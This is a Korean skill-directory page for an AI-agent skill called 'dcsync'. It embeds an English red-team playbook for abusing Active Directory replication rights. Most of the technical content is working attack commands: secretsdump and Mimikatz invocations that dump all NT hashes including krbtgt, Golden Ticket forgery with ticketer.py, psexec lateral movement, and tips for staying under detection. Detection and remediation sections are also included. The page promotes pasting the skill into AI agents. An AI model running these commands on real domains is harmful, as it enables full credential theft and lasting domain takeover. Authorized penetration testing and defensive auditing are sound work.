dcsync
하는 일
이 스킬은 도메인 컨트롤러에서 디렉터리 데이터를 복사할 수 있는 계정을 찾는 방법과, 이 권한이 잘못된 계정에 주어졌을 때 위험한 이유를 설명합니다. 누가 이 권한을 가졌는지 감사하는 보안 담당자를 위한 스킬입니다.
사용하는 경우
- ✓보안 테스터가 허가된 도메인에서 복제 권한을 가진 계정 목록을 보고 싶을 때.
- ✓에이전트가 이 권한을 가진 정상 계정과 예상치 못한 계정을 구분해야 할 때.
- ✓감사 보고서에 과도하게 부여된 복제 권한의 위험을 설명해야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“허가된 테스트 도메인에서 복제 권한을 가지면 안 되는 계정이 있는지 알려 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 도메인 데이터에서 복제 권한을 가진 계정을 조회하고, 예상 목록과 비교한 뒤, 예상치 못한 계정을 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
DCSync Playbook
DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.
1. Identify DCSync candidates
In a hosted engagement, inspect the authorized collection with
bloodhound_mcp_exposure_finder and bloodhound_mcp_object_profile, or use
bounded read-only bloodhound_mcp_cypher_query for a specific principal.
Check data quality before treating absent edges as proof of no exposure.
Standalone OSS may use its registered bhce_cypher tool instead.
Or Cypher direct:
MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)
Common holders (legitimate):
- Domain Admins, Enterprise Admins, Domain Controllers
- Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
- Replicator (rare)
Common holders (misconfig = jackpot):
- Service accounts (admins delegated mistakenly)
- Helpdesk groups
- Groups from old migrations
2. Execute DCSync
Impacket (most reliable):
# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
-outputfile /tmp/secrets
# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'
# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc
# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc
Mimikatz (from Windows):
lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv
3. Output files
secretsdump produces:
/tmp/secrets.ntds—user:RID:LM_HASH:NT_HASH:::format/tmp/secrets.ntds.kerberos— Kerberos keys (aes256, aes128, des)/tmp/secrets.ntds.cleartext— any reversibly-encrypted passwords (rare, but yes)
4. Highest-value secrets to grab
| User | Why | What unlocks |
|---|---|---|
krbtgt |
Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) |
Administrator |
Built-in domain admin | Direct admin on most assets |
| Domain Admin members | Lateral movement | Most assets |
<trustname>$ |
Trust accounts | Cross-forest movement |
| Service accounts | Often local admin on hosts | Lateral movement |
| Exchange computer accounts | Mailbox access | E-discovery / pivot |
5. Golden Ticket (post-DCSync)
With krbtgt NT hash:
ticketer.py -nthash KRBTGT_NT \
-domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \
-domain 'dom.local' \
Administrator
# Produces Administrator.ccache — TGT for Administrator that lasts 10 years
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'DC@DC_FQDN'
6. Promote
kg_add_node(kind="credential", label="krbtgt:NT_HASH",
props={"source":"dcsync","value":"<hash>"})
kg_add_node(kind="vulnerability", label="DCSync from <principal>",
props={"severity":"critical"})
kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts")
kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises")
OPSEC
- DCSync generates event 4662 on DCs with
Properties: Replicating Directory Changes - Defender's high-signal detection (the only good DCSync detection)
- BloodHound's
:DS-Replication-Get-ChangesGUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - A single DCSync run, scoped to one user (
-just-dc-user), produces less log volume than-just-dc - Use Kerberos auth (
-k) instead of NTLM to avoid 4624 type-3 noise
Detection signature (so you know what blue sees)
EventCode=4662
ObjectType=domainDNS
Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
SubjectUserName != *$ (filter out DC computer accounts)
CVSS
- DCSync available to non-DC principal:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.0 - Already DA + DCSync: not a separate finding, just post-compromise activity
Defender remediation
# Audit current holders of replication rights
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |
Select -ExpandProperty nTSecurityDescriptor |
Select -ExpandProperty Access |
Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |
Format-Table IdentityReference, ActiveDirectoryRights
# Remove unauthorized holders via dsacls
dsacls "DC=dom,DC=local" /R "DOM\Bad
자주 묻는 질문
이 권한 설정은 버그인가요?
아닙니다. 스킬은 복제가 도메인 컨트롤러의 일반적인 기능이며, 위험은 예상치 못한 계정이 이 권한을 가질 때 생긴다고 설명합니다.
보통 누가 이 권한을 가지나요?
스킬은 Domain Admins, Domain Controllers 같은 그룹을 일반적인 보유자로 나열합니다.
스킬은 테스트가 항상 허용된다고 말하나요?
아닙니다. 복제 테스트에도 별도의 특정 권한이 필요하다고 설명합니다.
상세 정보
작성자의 원본 설명
Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13941
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.